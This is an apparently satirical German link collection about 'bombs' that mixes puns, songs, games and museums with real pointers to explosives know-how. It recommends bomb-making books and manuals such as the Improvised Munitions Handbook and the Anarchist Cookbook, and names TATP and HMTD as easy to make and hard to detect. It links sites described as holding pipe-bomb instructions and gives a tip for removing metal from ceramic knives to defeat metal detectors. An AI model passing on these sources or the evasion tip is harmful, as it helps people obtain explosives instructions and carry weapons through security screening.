In Büchern hingegen findet man meist brauchbare Bombenauanleitungen, beispielsweise: Schwarzpulver für Survival - Band 1 Improvisation von Schwarzpulver und ähnlichen Mischungen, Schwarzpulver und Sprengsalpeter, Nitroglyzerin und Dynamit, Das Lehrbuch der Sprengmeister und auch Die Sprengstoffe - Ihre Chemie und Technologie. Allerdings enthalten Bücher meist wenig zu leicht herstellbaren und schwer nachweisbaren Sprengstoffe wie Hexamethylentriperoxiddiamin (HMTD) und Triaceton-Triperoxid (TATP).
Zum gefahrlosen Trainieren eigenen sich Programme wie "Sprengmeister Simulator 2009", die aber meist nur zum Spielen geeignet sind.
Daneben gibt es online auch reichlich Anleitungen um aus leicht erhältlichem wie Streicholzköpfen, Wunderkerzen oder Sylvester-Knallern Bomben zu bauen, aber für einfache Explosionen reicht schon wenig Erdgas für eine Gasexplosion oder ein bischen Mehlstaub für eine Staubexplosion.

Anleitung zum Bau einer Atombombe und der Hintergrund-Artikel Wie baut man eine Atombombe der Zeit über den Wert von Bauanleitungen für Kernsprengköpfe und von tacit knowledge.
Passend dazu gibt es die amtliche Statistik, nach der die Anzahl der Explosionen durch Kernenergie in Deutschland rückläufig ist: http://www.quintessenz.org/d/000100002961.

Pornoatombombe

Einführung in die Sprengchemie - Appendix und Erläuterungen
Ein Backup findet man z. B. unter http://web.archive.org/web/20071012031308/http://www.burks.de/kawumm.html

http://www.idison.de/index.php/explosionen.html - Do-it-yourself-Explosionen für Hobbyelektroniker und Hobbychemiker.

http://bombenterror.de - Viele Bauanleitungen; von der Rohrbombe bis zur Wasserstoffbombe findet man dort alles.

MAKE A PIPE BOMB (Rohrbombe)

Unter http://bombenbauanleitungen.de/ findet man allerdings keine Bombenbauanleitungen, im Gegensatz zu http://bombenbauplaene.de/.

Zum bombigen Feiern eignen sich T.N.T. Dynamite Parties, zum bombigen Spielen wie für eine explosive Stimmung bei Fußballspielen eignet sich TNT Dynamite Soccer.

Sprengstoff-Verein.de: Der berliner Verein für Sprengmeister, Sprengstoff- und Pyrotechnikinteressierte.

Zum bombigen sparen eignet sich Bomb coin box from Tomy.

Cartoon Bomb.

Die Peta-Finanzbombe.

How to make a Soda Can Bomb.

Zum Bombenbauen, Bombenlegen sowie zum Bombardieren passende Lieder gibt es von Interpreten wie Dynamite Deluxe; beispielsweise das Lied Bombs, Dynamite Deluxe: TNT und Dynamite Deluxe: Dynamit und natürlich den Klassiker TNT Dynamite von AC/DC sowie Spiel mir das lied vom Tod. Deutlich altmodischere Lieder sind beispielsweise "Bomben auf England", die man auch in diversen Tauschbörsen online findet und die es auch als Klingelton gibt.
Auf Musik-Seiten wie www.pandora.com findet man dutzende weitere Lieder: Allein pandora.com listet 30 verschiedene Lieder mit Dynamite im Titel!
Dort findet man auch Musik zum Entschärfen von Bomben; beispielsweise How to Dismantle an Atomic Bomb.
Zudem gibt es auch bombige Bands wie z. B. COTTONBOMB, und bombige Alben wie z. B. Bombe.

Im Magazin Bomb findet man allerdings praktisch nichts zu Bomben.

Richtig gute Bombenbau-Kurse, auch mit Übungssprengungen und Kursen zur effizienten Neutralisierung von Menschen, Maschinen und Gebäuden gibt es bei der Bundeswehr und den meisten anderen Armeen, aber generell nur für registrierte Gefechtsfeld-Manager (früher Soldaten genannt) und gedacht hauptsächlich zur Friedenserzwingung (früher Krieg genannt).
Hierfür wird u. A. das Bombodrom verwendet und dazu gibt es beispielsweise das Improvised Munitions Handbook das zwar nur konventionelles enthält, aber dies relativ ausführlich, inklusive Minen, Granaten, Raketen Zündverzögerer usw. auch mit Abbildungen erläutert. Zur Theorie, z. B. die Berechnung der optimalen Explosions-Höhe als Funktion der Sprengkraft (Machstammeffekt), den Sicherheitsvorschriften und den erforderlichen Genehmigungsverfahren findet man in diesem Buch allerdings praktisch nichts.
Neben den realen Armeen und Bomben gibt es "Cyberarmeen" wie das Cyber Security Operations Centre (CSOC) und diese verwenden auch die oben beschriebenen virtuellen Bomben. Juristisch hat dies aber mit Armeen oder Krieg nichts zu und folglich kann sich ein "Cyberkrieger" nicht auf das Kriegsvölkerrecht, z. B. die Genfer Konventionen, berufen.

Farbbomben und andere Spielereien findet man im Klassiker Anarchist Cookbook und Anleitungen zum Bombenlegen im Buch Hit Man.
Links u. A. zum Badminds Cookbook , das dem Anarchist Cookbook ähnelt, findet man unter http://www.burks.de/forum/phpBB2/viewtopic.php?p=33557.
Ähnliche Klassiker sind das Anarchist's Arsenal und Advanced Anarchist Arsenal.

Bei Bombenbauern beliebt sind neben Explosionszeichnungen auch für Metall-Detektoren unsichtbares Zubehör wie Keramik-Messer, die es in Discountern wie Norma ab 8,99 EUR gibt: http://norma-online.de/_de_/_angebote_/_ab-mittwoch-19.12._/
Allerdings kann der Griff Metall enthalten; viele Keramik-Messer sind deshalb für Metall-Detektoren nicht unsichtbar, so wie auch die meisten "metallfreien" Minen, die aus Kostengründen fast immer eine Sprengkapsel aus Aluminium enthalten. Enthält ein Keramikmesser nur wenig Metall, kann man es mit Säuren wie Salzsäure meist relativ leicht wegätzen und dünne Metall-Schichten kann man meist in einem Mikrowellen-Grill verdampfen.

Vor allem bei nächtlichen Bombenbauern beliebt sind Nachtsichtgeräte mit integrierter zuschaltbarer Infrarotbeleuchtung zur Beobachtung bei völliger Dunkelheit, die es bei Discountern wie Plus und Lidl ab 129 Euro gibt: http://www.discounto.de/Angebot/Nachtsichtgeraet-3x40-9613/.

Echte Bombenbauer wohnen vorzugsweise im Dorf Killer (PLZ 72393) im Killertal, trainieren natürlich in Leichendorf und bevorzugen zum Bomben-Transport natürlich TNT, also für Paket-Bomben den Express-Versand von TNT und für Brief-Bomben die Post von http://www.tnt.com/.

Eine wahre Fundgrube an Bombenbauanleitungen sind die Patentämter, z. B. über die Patent-Suche mittels Google: http://www.google.com/patents?q=bomb&btnG=Search+Patents.
Weitere Suchmöglichkeiten findet man hier: http://www.at-web.de/blog/20070106/google-patentsuche.htm.

Für Bombenstimmung findet man auf www.perl.de PC-gesteuerte Raketenwerfer mit echt fliegenden Raketen, Bomberfun, Bomberman, Fliegende Bomben, Autobomben, Wasserbomben, Bomb Jack und einiges andere, aber bisher keine Zombie-Bomber.
Ebenfalls für Bombenstimmung findet man auf ebay.de einiges; beispielsweise den Film "Die nackte Bombe", "Die nakte Bombe II" usw..

Anschlagpuffer - können Anschläge zwar nicht verhindern aber so abpuffern das sie völlig ungefährlich sind!
Ideal auch zum Testen sowie Vorbereiten von Anschlägen.
Ebenfalls zum Vorbereiten und Durchführen von Anschlägen gemacht sind spezielle Formulare wie das Anthraxformular: Die Checkliste für biologische Anschläge und mit nur rund 260 Anschlägen (Schreibmaschienen-Anschlägen) ausgeflüllt.

Rush for the Bomb: Das bombige Add-On zum vielfach preisgekrönten Taktik-Hit "Rush for Berlin"!

Die Bombe unter der Achselhöhle

Käse als Übungsbombe und warum in US-Flughäfen Handy-Ladegeräte höchst verdächtig sind und Käse quasi verboten ist.

Über 200.000 Bomben findet man auf Youtube; insbesondere Cola-Bomben!

Sprengen und sparen!!!

Warum der Vorname Bob in australischen Flugzeugen Bombenalarm auslöst und wieso es in Australien extralegal (früher illegal genannt) ist auf einen unbenutzten Spuckbeutel die Abkürzung oder den Namen "BOB" zu schreiben.
Schließlich haben die Australier das Terrorbyte erfunden.

all Warum in USA alles eine Bombe ist.


Passend dazu gibt es auch den Hoster BombDrop in USA: http://www.bombdrop.net/

Detonationen ohne Sprengstoff kann man beispielsweise auch mit Hochspannung erzeugen: http://www.powerlabs.org/emguns.htm


Bombige Museen

AtomicBombMuseum.org

The Nuclear Weapon Archive

Trinity Atomic Web Site


Bombige Zitate

Die Bombardierung beginnt in 5 Minuten!
Mikrofon-Test-Text von Ronald Reagan, 11. August 1984



Werbung

two cardreader with MSP430 Housebombs animated
http://ads.getyacg.com/img/blogfarmexplosion.jpg
Blog Farm Explosion
Create hundreds of blogs on hundreds of hosts in minutes!
$97 per month